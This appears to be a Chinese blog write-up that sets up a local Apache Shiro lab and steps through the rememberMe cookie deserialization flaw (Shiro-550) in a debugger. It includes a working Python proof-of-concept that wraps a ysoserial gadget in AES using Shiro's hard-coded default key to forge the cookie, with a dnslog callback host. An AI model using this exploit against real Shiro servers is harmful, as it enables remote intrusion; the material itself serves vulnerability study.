Shiro反序列化原理调试分析

环境搭建

首先是搭建环境,我参考的是这个

https://www.mi1k7ea.com/2020/10/03/%E6%B5%85%E6%9E%90Shiro-rememberMe%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88Shiro550%EF%BC%89/

部署好以后访问http://localhost:8080/samples_web_war/

下面是进行shiro rememberMe请求的数据包

image-20240819101958415

image-20240819102011740

测试

py3 poc.py “http://9108ak.dnslog.cn

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print("rememberMe={}".format(payload.decode()))
    # with open("payload.txt", "w") as fpw:
    #     print("rememberMe={}".format(payload.decode()), file=fpw)

https://my-pic-1309722427.cos.ap-nanjing.myqcloud.com/img/202408191059897.webp

终于搞好了,今天有点水逆,磕磕绊绊的😔

调试

CookieRememberMeManager的类,顾名思义就是Cookie rememberMe的管理类,直接在org/apache/shiro/web/mgt/CookieRememberMeManager类的getRememberedSerializedIdentity()函数中打上断点开始调试。

image-20240819110627110

调用链是这样的

从DefaultSecurityManager再到CookieRememberMeManager

image-20240819111021004

读取cookie,存储在base64的这段字符串就是我们传的payload,看看他会怎么处理

image-20240819111759159

处理base64,确保是合法的base64

private String ensurePadding(String base64) {
        int length = base64.length();
        if (length % 4 != 0) {
            StringBuilder sb = new StringBuilder(base64);
            for (int i = 0; i < length % 4; ++i) {
                sb.append('=');
            }
            base64 = sb.toString();
        }
        return base64;
    }

返回解码的base64值

image-20240819112106813

到了getRememberedPrincipals函数

image-20240819112307828

接下来principals = convertBytesToPrincipals(bytes, subjectContext);

这里应该是进行aes解密

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

跟进decrypt函数

protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

跟进cipherService.decrypt

跟进去以后发现key已经有值了,看看这个值是哪来的:ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());

getDecryptionCipherKey():

好像是一个常量?

image-20240819113143246

去找一下这个常量如何赋值

点进去就进到了AbstractRememberMeManager类里

找他的构造方法

image-20240819122123544

发现就是一个硬编码

image-20240819122145008

继续往下面看

到这里aes解密完成

image-20240819122450214

解密出来以后调用deserialize来进行反序列化

image-20240819113440603

跟进

image-20240819122613828

跟进deserialize

这里就把我们链子里的对象反序列化出来了

image-20240819122833536

也是在这一步反序列化执行完以后dnslog收到了请求

image-20240819123437772

总结一下就是:读取cookie > 解密base64 >用key解密aes> 反序列化

0%